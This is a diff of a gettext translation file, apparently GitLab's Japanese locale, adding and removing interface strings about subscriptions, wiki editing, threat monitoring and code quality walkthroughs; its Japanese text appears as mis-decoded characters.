@@ -30909,18 +31547,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -30939,6 +31607,9 @@ msgstr "サãƒãƒ¼ãƒˆãƒšãƒ¼ã‚¸URL"
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr "ブランãƒãƒ»ã‚¿ã‚°åˆ‡ã‚Šæ›¿ãˆ"
@@ -31161,6 +31832,9 @@ msgstr "テンプレート"
msgid "Template to append to all Service Desk issues"
msgstr "å…¨ã¦ã®ã‚µãƒ¼ãƒ“スデスクã®ã‚¤ã‚·ãƒ¥ãƒ¼ã«è¿½åŠ ã™ã‚‹ãƒ†ãƒ³ãƒ—レート"
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr "テンプレート"
@@ -31313,9 +31987,6 @@ msgstr "テスト"
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr "テストカãƒãƒ¬ãƒƒã‚¸è§£æž"
@@ -31453,6 +32124,9 @@ msgstr ""
msgid "Tests"
msgstr "テスト"
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr "無料トライアルライセンスã«ãŠç”³ã—è¾¼ã¿ã„ãŸã ãã‚ã‚ŠãŒã¨ã†ã”ã–ã„ã¾ã™ã€‚手順ã¯ç™»éŒ²ã•ã‚ŒãŸãƒ¡ãƒ¼ãƒ«ã‚¢ãƒ‰ãƒ¬ã‚¹ã«é€ä¿¡ã•ã‚Œã¾ã™ã€‚"
@@ -31483,8 +32157,8 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr "ã“ã® %{group_path} グループã§ã€ã‚ãªãŸã¯ã‚·ãƒ³ã‚°ãƒ«ã‚µã‚¤ãƒ³ã‚ªãƒ³ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã§ã‚µã‚¤ãƒ³ã‚¤ãƒ³ã§ãã¾ã™ã€‚"
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
-msgstr "\"CODEOWNERSã‹ã‚‰ã®æ‰¿èªãŒå¿…è¦\" 設定ã¯%{banner_link_start}ä¿è­·ãƒ–ランãƒ%{banner_link_end}ã«ç§»å‹•ã—ã¾ã—ãŸ"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
+msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
@@ -31505,6 +32179,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31695,6 +32372,9 @@ msgstr "インãƒãƒ¼ãƒˆã¯ %{timeout} ã§ã‚¿ã‚¤ãƒ ã‚¢ã‚¦ãƒˆã—ã¾ã™ã€‚タイム
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr "招待ã¯å—ã‘入れられã¾ã›ã‚“ã§ã—ãŸã€‚"
@@ -31740,6 +32420,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31758,9 +32441,6 @@ msgstr "ã“ã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã«å¯¾ã™ã‚‹ãƒžãƒ¼ã‚¸ã®ç«¶åˆã¯ã™ã§ã«
msgid "The merge request can now be merged."
msgstr "ã“ã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã¯ä»Šã€ãƒžãƒ¼ã‚¸ã§ãã¾ã™ã€‚"
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32064,9 +32744,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32133,12 +32810,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr "ã‚ãªãŸã®ã‚«ã‚¹ã‚¿ãƒ ã‚¹ãƒ†ãƒ¼ã‚¸ã‚’ä¿å­˜ã™ã‚‹éš›ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„。"
-
msgid "There was a problem sending the confirmation email"
msgstr "確èªãƒ¡ãƒ¼ãƒ«ã®é€ä¿¡ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
@@ -32166,6 +32837,9 @@ msgstr "To Doã®å‰Šé™¤ã§ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
msgid "There was an error fetching configuration for charts"
msgstr "ãƒãƒ£ãƒ¼ãƒˆè¨­å®šã®å–得中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸ"
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr "é¸æŠžã—ãŸã‚¹ãƒ†ãƒ¼ã‚¸ã®ãƒ‡ãƒ¼ã‚¿ã‚’å–å¾—ã™ã‚‹é–“ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
@@ -32229,9 +32903,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr "メールã®å‰Šé™¤ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
-msgid "There was an error removing your custom stage, please try again"
-msgstr "ã‚ãªãŸã®ã‚«ã‚¹ã‚¿ãƒ ã‚¹ãƒ†ãƒ¼ã‚¸ã‚’削除ã™ã‚‹éš›ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ã‚„ã‚Šç›´ã—ã¦ãã ã•ã„。"
-
msgid "There was an error resetting group pipeline minutes."
msgstr "グループã®ãƒ‘イプライン時間ã®ãƒªã‚»ãƒƒãƒˆä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
@@ -32274,9 +32945,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr "メールトークンã®ãƒªã‚»ãƒƒãƒˆä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
@@ -32400,8 +33068,11 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
-msgstr "ã“ã®ã‚¢ãƒ—リケーション㯠%{link_to_owner} ã«ã‚ˆã£ã¦ä½œæˆã•ã‚Œã¾ã—ãŸã€‚"
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
+msgstr ""
msgid "This application will be able to:"
msgstr "ã“ã®ã‚¢ãƒ—リケーションã¯æ¬¡ã®ã“ã¨ãŒã§ãã¾ã™:"
@@ -32502,9 +33173,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr "ã“ã®ãƒ•ã‚£ãƒ¼ãƒ«ãƒ‰ã¯å¿…é ˆã§ã™ã€‚"
@@ -32838,6 +33506,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -32880,9 +33551,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -32907,6 +33575,9 @@ msgstr "環境"
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -32958,9 +33629,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -32991,12 +33659,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33006,6 +33668,9 @@ msgstr "木曜日"
msgid "Time"
msgstr "時間"
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr "時間ベース: ã‚ã‚Š"
@@ -33057,6 +33722,9 @@ msgstr ""
msgid "Time tracking"
msgstr "タイムトラッキング"
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr "最åˆã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã¾ã§ã®æ™‚é–“"
@@ -33230,9 +33898,6 @@ msgstr[0] "分"
msgid "Time|s"
msgstr "秒"
-msgid "Tip:"
-msgstr "ヒント:"
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33347,9 +34012,6 @@ msgstr "GitLab プロジェクト全体を別㮠GitLab インストールã‹ã‚‰
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33467,15 +34129,15 @@ msgstr "案内ã®åˆ‡ã‚Šæ›¿ãˆ"
msgid "Toggle project select"
msgstr ""
+msgid "Toggle shortcuts"
+msgstr ""
+
msgid "Toggle sidebar"
msgstr "サイドãƒãƒ¼ã‚’切り替ãˆ"
msgid "Toggle the Performance Bar"
msgstr "パフォーマンスãƒãƒ¼ã®åˆ‡ã‚Šæ›¿ãˆ"
-msgid "Toggle this dialog"
-msgstr "ダイアログを切り替ãˆ"
-
msgid "Toggle thread"
msgstr "スレッドã®åˆ‡ã‚Šæ›¿ãˆ"
@@ -33503,9 +34165,6 @@ msgstr "有効ã«ãªã£ã¦ã„ã‚‹åå‰ç©ºé–“ãŒå¤šã™ãŽã¾ã™ã€‚コンソール
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr "有効ã«ãªã£ã¦ã„るプロジェクトãŒå¤šã™ãŽã¾ã™ã€‚コンソールã¾ãŸã¯APIを使用ã—ã¦ç®¡ç†ã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚"
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr "トピック (ä»»æ„)"
@@ -33702,6 +34361,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -33927,6 +34589,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34170,6 +34835,9 @@ msgstr ""
msgid "Until"
msgstr "ã¾ã§"
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34329,6 +34997,9 @@ msgstr ""
msgid "Upload file"
msgstr "ファイルをアップロード"
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr "オブジェクトマップをアップロード"
@@ -34650,6 +35321,9 @@ msgstr "全体通知設定を利用"
msgid "Use your smart card to authenticate with the LDAP server."
msgstr "スマートカードを使ã£ã¦ã€LDAPサーãƒãƒ¼ã«ã‚ˆã‚Šèªè¨¼ã—ã¾ã™ã€‚"
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr "メンãƒãƒ¼ãŒ GitLab ã®ã‚°ãƒ«ãƒ¼ãƒ—ã«ã‚µã‚¤ãƒ³ã‚¤ãƒ³ã™ã‚‹ãŸã‚ã«ä½¿ç”¨ã•ã‚Œã¾ã™"
@@ -34659,6 +35333,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr "アイデンティティ プロãƒã‚¤ãƒ€ãƒ¼ã‚’設定ã™ã‚‹ã®ã«ä½¿ç”¨ã—ã¾ã™"
@@ -34767,27 +35444,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -34920,6 +35615,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr "貢献をéžå…¬é–‹ã«ã™ã‚‹"
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr "ユーザå (オプション)"
@@ -34941,6 +35639,9 @@ msgstr ""
msgid "Users"
msgstr "ユーザー"
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35052,6 +35753,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35615,15 +36319,15 @@ msgstr "%{humanized_resource_name} ã«ã‚¹ãƒ‘ムãŒã‚ã‚‹å¯èƒ½æ€§ã‚’検出ã—ã¾
msgid "We don't have enough data to show this stage."
msgstr "データä¸è¶³ã®ãŸã‚ã€ã“ã®ã‚¹ãƒ†ãƒ¼ã‚¸ã®è¡¨ç¤ºã¯ã§ãã¾ã›ã‚“。"
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr "次ã®ã‚¨ãƒ©ãƒ¼ãŒã‚ã‚Šã¾ã—ãŸã€‚:"
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35663,9 +36367,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr "脆弱性ã¯ç™ºè¦‹ã•ã‚Œã¾ã›ã‚“ã§ã—ãŸ"
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr "Web IDE"
@@ -35693,16 +36394,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35735,9 +36436,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr "Webhookã¯ã€ä¾‹ãˆã°æ–°ã—ã„コードãŒãƒ—ッシュã•ã‚ŒãŸã‚Šã€æ–°ã—ã„イシューãŒä½œæˆã•ã‚ŒãŸå ´åˆã«ã€URL を呼ã³ã ã™ã“ã¨ãŒã§ãã¾ã™ã€‚プッシュã€ã‚¤ã‚·ãƒ¥ãƒ¼ã¾ãŸã¯ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã®ã‚ˆã†ãªã‚¤ãƒ™ãƒ³ãƒˆã‹ã‚‰ã©ã®ã‚¤ãƒ™ãƒ³ãƒˆã‚’監視ã™ã‚‹ã‹Webhookを設定ã§ãã¾ã™ã€‚グループウェブフックã¯ã‚°ãƒ«ãƒ¼ãƒ—内ã®ã™ã¹ã¦ã®ãƒ—ロジェクトã«é©ç”¨ã•ã‚Œã€ã‚°ãƒ«ãƒ¼ãƒ—全体ã§Webhookを標準化ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚"
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr "Webhook ã¯è¨­å®šãƒ¡ãƒ‹ãƒ¥ãƒ¼ã«ç§»å‹•ã—ã¾ã—ãŸã€‚"
-
msgid "Webhooks|Comments"
msgstr "コメント"
@@ -35904,7 +36602,7 @@ msgid "What is your job title? (optional)"
msgstr ""
msgid "What's new"
-msgstr ""
+msgstr "What's new"
msgid "What's new is disabled and can no longer be viewed."
msgstr ""
@@ -35979,6 +36677,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr "Wiki"
@@ -36087,6 +36788,12 @@ msgstr "%{pageTitle} ページを削除ã—ã¾ã™ã‹ï¼Ÿ"
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36105,12 +36812,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36120,6 +36833,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36141,9 +36860,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr "ã“ã“ã«ãƒ†ã‚­ã‚¹ãƒˆã‚’記入ã™ã‚‹ã‹ã€ãƒ•ã‚¡ã‚¤ãƒ«ã‚’ドラッグã—ã¦ãã ã•ã„。"
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36312,6 +37028,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36516,6 +37235,9 @@ msgstr "読ã¿å–り専用ã®ã‚»ã‚«ãƒ³ãƒ€ãƒª GitLab Geo インスタンスã«æ›¸
msgid "You cannot write to this read-only GitLab instance."
msgstr "ã“ã®èª­ã¿å–り専用 GitLab インスタンスã«ã¯æ›¸ã込むã“ã¨ãŒã§ãã¾ã›ã‚“。"
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr "æ–°ã—ã„トリガーを作æˆã§ãã¾ã›ã‚“ã§ã—ãŸã€‚"
@@ -36627,9 +37349,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -36912,10 +37640,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr "SSH éµ (%{count})"
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -36954,6 +37682,9 @@ msgstr "アプリケーション(%{size})"
msgid "Your authorized applications"
msgstr "承èªã•ã‚ŒãŸã‚¢ãƒ—リケーション"
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr "ã‚ãªãŸã®ãƒ–ラウザã¯U2Fをサãƒãƒ¼ãƒˆã—ã¦ã„ã¾ã›ã‚“。 Google Chromeデスクトップ (ãƒãƒ¼ã‚¸ãƒ§ãƒ³41以é™) を使用ã—ã¦ãã ã•ã„。"
@@ -36984,9 +37715,6 @@ msgstr "ã‚ãªãŸã®ã‚³ãƒ¡ãƒ³ãƒˆã¯æ›´æ–°ã§ãã¾ã›ã‚“ã§ã—ãŸã€‚ ãƒãƒƒãƒˆãƒ
msgid "Your comment will be discarded."
msgstr "コメントã¯ç ´æ£„ã•ã‚Œã¾ã™ã€‚"
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr "ダッシュボードをコピーã—ã¾ã—ãŸã€‚%{web_ide_link_start} ã“ã“ã§ç·¨é›† %{web_ide_link_end} ã§ãã¾ã™ã€‚"
@@ -37183,9 +37911,6 @@ msgstr ""
msgid "already shared with this group"
msgstr "ã™ã§ã«ã“ã®ã‚°ãƒ«ãƒ¼ãƒ—ã¨å…±æœ‰ã—ã¦ã„ã¾ã™"
-msgid "among other things"
-msgstr "ãã®ä»–ã®ã‚‚ã®"
-
msgid "and"
msgstr "ã¨"
@@ -37520,6 +38245,45 @@ msgstr ""
msgid "closed issue"
msgstr "クローズã—ãŸã‚¤ã‚·ãƒ¥ãƒ¼"
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37756,6 +38520,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr "https://your-bitbucket-server"
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr "ç”»åƒã®å·®åˆ†"
@@ -37832,7 +38599,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -37932,6 +38699,9 @@ msgid "merge request"
msgid_plural "merge requests"
msgstr[0] "マージリクエスト"
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -37992,9 +38762,6 @@ msgstr "次ã®ãƒ¦ãƒ¼ã‚¶ã«ã‚ˆã£ã¦ãƒžãƒ¼ã‚¸ãƒˆãƒ¬ã‚¤ãƒ³ã«è¿½åŠ ã•ã‚Œã¾ã—ãŸ
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr "ターゲットブランãƒã«ãƒžãƒ¼ã‚¸ã§ãるメンãƒãƒ¼ã‹ã‚‰ã®ã‚³ãƒŸãƒƒãƒˆã‚’許å¯ã™ã‚‹"
-
msgid "mrWidget|An error occurred while removing your approval."
